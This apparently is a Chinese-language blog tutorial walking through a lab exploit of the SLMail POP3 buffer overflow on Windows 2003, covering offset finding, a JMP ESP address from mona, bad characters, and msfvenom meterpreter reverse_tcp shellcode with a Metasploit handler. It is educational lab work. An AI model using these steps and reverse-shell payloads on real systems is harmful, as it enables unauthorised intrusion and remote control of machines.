文章标题:尝试利用slmail的漏洞来getshell


【*】发布时间:2019 年 03 月 04 日

作者:Joe

二进制,计算机才可以理解的低级语言,简单来说它是一种信号,用电信号为例,0就是断电,而1就是有电,这样子010101有规律的闪就是我们的二进制了。看到这里你应该会想,都9102年了,怎么可能还有人在用二进制写程序,of course,01带来的不便真的太多了(详情请见我的一篇汇编基础文章)首先是:

1、 修改太麻烦,排错不容易

2、 代码量太多,工作太复杂

3、 容易出错

所以在二进制的基础上,又有了汇编语言,汇编语言是直接对cpu进行操作的一种语言,它主要是用汇编指令。所以我们讲的既然跟二进制有关,那肯定会有汇编的出现。

在汇编语言上的是高级语言,类似吃、c/c++、java等的语言,高级语言,简单来说就是可以被人理解的语言,我们用高级语言写程序也叫编程。

在c语言上又有一种语言叫python,它的强大你们都理解,但是速度却没有c快。

C的工作原理是这样子的

C -> 汇编(c先翻译为汇编)-> 二进制(pe文件,也就是exe。可以直接执行的程序)

C文件也被我们叫源文件,举个例子:生产线,c文件是原料,汇编类似于加工,二进制就是我们要的成品了。

也可以这么说,如果有了c文件,我们可以直接审核,不用去逆向出汇编代码。

如何解释c和汇编的关系呢

比如下面这段c语言代码

{

Int a = 10;

Int b = a;

C = a + b;

}

翻译成汇编代码可能是这样子的

Mov eax,10 //把数值10给eax

Mov edx,eax //把eax的值给edx

Add eax,edx //把edx和eax相加

这就是汇编和c的关系。这里就不在详细解释汇编和c。相关基础自己去阅读文章即可!

P.s:不要问我为什么没有二进制,我去哪里找一段01给你们看。。。。

接下来是我们要用的工具:

调试器,我用的是immuintydebugger

关于环境和下载所需的东西我会在后面给出

简单的讲述缓冲区溢出:

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权

那么本期我们就尝试利用slmail的漏洞来getshell

环境搭建:

windows 2003 一台

Kali一台

在window2003安装debug用于调试程序

然后需要一个叫mona的脚本,可以在GitHub找到

在这里扯一下系统里面的一些内存防御机制

1、 aslr:软件重启会更改基地址(一般的缓冲区溢出漏洞都是利用jmp等指令转到shellcode,所以我们需要指令的实际地址,但是有了aslr之后,每次的地址都不一样,这就造成了难以定位指令的实际地址而无法构造exp)

2、 dep 开启了dep后,数据页无法执行命令,也就是说,即使跳转到shellcode的地址,你也无法执行shellcode返回shell

我们在windows2003里面开启debug调试进程,使用attache选项

img

快捷键是 ctrl+F1

img

可以看到这里有个为slmail的进程,我们单击,然后点attach

img

我们按两下f9开始运行!

程序运行后在kali用nc连接slmail开放的110端口。

img

我们已经成功的连接上了110端口,并且看到上面开放的服务,现在我们可以创建一个账号

img

我们测试一下溢出点

先用python生成较多的无用字符用来测试

img

-c 是直接运行python的语句

我们复制一下

我们在添加到shell里面,然后回车

我们发现已经没反应了

我们切换到windows2003看看

img

Ebp已经变成61616161,说明我们成功让程序溢出,现在程序处于一个崩溃状态

我们需要去“服务”选项里面重启pop3服务

现在我们知道溢出点在哪里了,我们可以用msf的两个工具找出准确的溢出数值,填充的无用字符多一个少一个都可以导致攻击失败。

工具在:/usr/share/Metasploit-framework/tools/exploit 目录里面

分别是 pattern_create.rb和pattern_offset.rb这两个文件

我们先用create生成字符串,用来定位精准溢出字符。

我们生成比较多的字符串

./pattern_cerate -l 字符的数量,这里我是输入了4000个

img

我们可以写个python脚本测试一下用socket库简单的测试

执行python脚本后就会开始发送我们的buf 发送完毕,我们看看debug的反应

img

这里已经填成了我们发送的buf

我们把eip的地址给记一下

然后在命令行执行./pattern_offset -q eip的地址

然后我们得到了精准的数值

img

我们看到是2606,也就是说2606后面的4个内存单元就是eip

有了eip,我们就可以操纵eip让cpu执行我们的shellcode,执行shellcode的方法有多种,直接设置eip为shellcode所在的地址,或者利用jmp指令去跳转到shellcode的地方并执行,那么第一种呢,如果环境变化了,地址不同,或者说是有差异,那么这条地址可能就没有用了,所以我们可以选择第二种,jmp 指令,他可以克服这些困难。

那么废话不多说,这里我们就要用到一个神器了,也就是mona.py

他可以帮助我们找出所要的指令,还可以列出是否有内存保护机制

img

接下来我们讲讲,刚才所提到的jmp esp的命令,我们用mona脚本列出所有的模块

img

这里是列出的模块

命令是 !mona modules

我们在模块中,找一些没有开启防护的,筛选后,我们暂定这两个

Openc32.dll和slmfc.Dll

我们可以用find参数和-m参数

Find,也就是寻找,我们可以在里面找到需要的指令,-m,也就是指定我们筛选出的dll

!mona find -s \xff\xe4 -m openc32.dll

Ffe4为jmp esp的指令,为什么要选择jmp esp呢?

那是因为我们的生成的shellcode一般在300个字节,而esp可以容纳400个字节

所以用esp再合适不过了。

img

我们选择第一个,然后双击,

img

点击m

img

可以看到有读和执行的权限

所以我们可以利用这个dll来实现跳转执行!

我们设置个断点来证实我们的猜想

img

注:第一个选项

这个时候该找的都找了,我们可以开始编写脚本来测试猜想了。

记住下断点的地址,前面我们说了,2606个字节后面就是eip了,所以我们要把断点的地址填入到eip,让它去跳转到esp寄存器!

因为汇编语言的地址加载和我们所看到的不一样,所以要调换一下位置。

所以脚本里面的地址为 \xe3\x41\x4b\x5f

准备好就保存,然后开始。

img

已经跳转到我们的断点,程序也停止了运行。我们按f7单步调试!

img

可以看到esp里面填充了我刚才所写的test test

也就是说我们可以利用它执行shellcode,我们用msf生成一段shellcode

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python

生成一段shellcode。然后我们修改exp

img

修改完我们测试一下,发现虽然溢出了,但是没有shell返回,那么这是怎么回事呢。

其实在内存中有个叫badchar,也就是坏字符的东西,他可以阻碍shellcode的运行,比如\x00 这个会停止shellcode运行。我们可以测试一下来找到badchar

我们把所有字符,写入到exp里面进行测试。

修改完就开始运行。

img

最后测出来的坏字符为 00 0a 0d现在重新生成shellcode

Msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.111 -f python -b \x00\x0a\x0d

我们把shellcode复制进exp里面。

开启msf监听

Use exploit/multi/handler

Set payload windows/meterprter/reverse_tcp

Set lhost 192.168.2.111

Run

脚本里记得填充8个nop,要不然shellcode会被覆盖不能执行。

img

我们成功得到了一个shell!

本次实验到此结束!